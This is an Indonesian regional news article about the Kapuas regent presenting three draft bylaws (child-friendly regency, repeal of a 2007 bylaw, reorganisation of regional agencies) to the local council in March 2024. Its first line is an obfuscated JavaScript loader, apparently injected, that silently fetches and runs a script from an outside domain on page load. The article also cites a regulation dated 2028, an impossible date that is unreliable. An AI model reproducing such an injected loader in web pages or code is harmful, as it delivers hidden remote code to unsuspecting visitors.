(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Rapat Paripurna Penyampaian Tiga Raperda, Ini Kata Pj Bupati Kapuas


KANALKALIMANTAN.COM, KUALA KAPUAS – Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri rapat paripurna ke-1 masa persidangan II tahun sidang 2024 DPRD Kabupaten Kapuas yang dipimpin Wakil Ketua I DPRD Kabupaten Kapuas Yohanes, Senin (18/3/2024) siang.

Rapat beragendakan penyampaian tiga buah Raperda Kabupaten Kapuas, dihadiri oleh Sekretaris Daerah (Sekda) Kabupaten Kapuas Septedy, unsur Forkopimda, para kepala OPD Pemkab Kapuas, serta anggota DPRD Kabupaten Kapuas.

Tiga buah Raperda Kabupaten Kapuas yaitu disampaikan yakni Raperda tentang Kabupaten Layak Anak, Raperda tentang pencabutan Perda Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan, dan Raperda tentang perubahan kedua atas Perda Nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah.

Baca juga: Pipa PAM di A Yani Km 2,5 Jebol, Pasokan Air Terhenti ke Banjarmasin Barat dan Tengah  

“Berkaitan tentang Raperda pertama yaitu bahwa untuk memberikan arah, landasan, dan kepastian hukum kepada semua pihak yang terlibat dalam perlindungan anak, maka diperlukan pengaturan tentang Kabupaten Layak Anak,” ucap Bupati.

Erlin Hardi menjelaskan mengenai Raperda yang kedua, yang menjadi pertimbangan penyusunan Raperda ini adalah bahwa berdasarkan Peraturan Menteri Dalam Negeri Nomor 18 Tahun 2028 tentang Lembaga Kemasyarakatan dan Lembaga Adat Desa diatur lebih lanjut dengan peraturan bupati.

“Berdasarkan ketentuan, maka Peraturan Daerah Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan sudah tidak sesuai dengan peraturan perundang-undangan saat ini sehingga perlu dicabut,” terang Erlin.

Baca juga: Relokasi Permukiman di Kecamatan Cempaka, Pasca Kebakaran Dipindah ke Lahan Baru

Sementara Raperda ketiga tentang pembentukan dan susunan perangkat daerah yaitu dengan adanya kebijakan dari pemerintah terkait penyederhanaan birokrasi, maka kelembagaan perangkat daerah Kabupaten Kapuas mengalami perubahan termasuk peraturan daerah nomor 2 Tahun 2012 tentang organisasi dan tata kerja Badan Penanggulangan Bencana Daerah Kabupaten Kapuas.

“Dibutuhkan perubahan kedua atas Perda nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah Kabupaten Kapuas,” terangnya.

Baca juga: Penguatan Pendidikan Karakter Siswa di SMAN 1 Kuala Kapuas

Berkaitan dengan tiga Raperda ini, Erlin Hardi berharap pada saat pembahasan dapat terlaksana dengan sebaik-baiknya dan dapat memberikan manfaat bagi semua. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.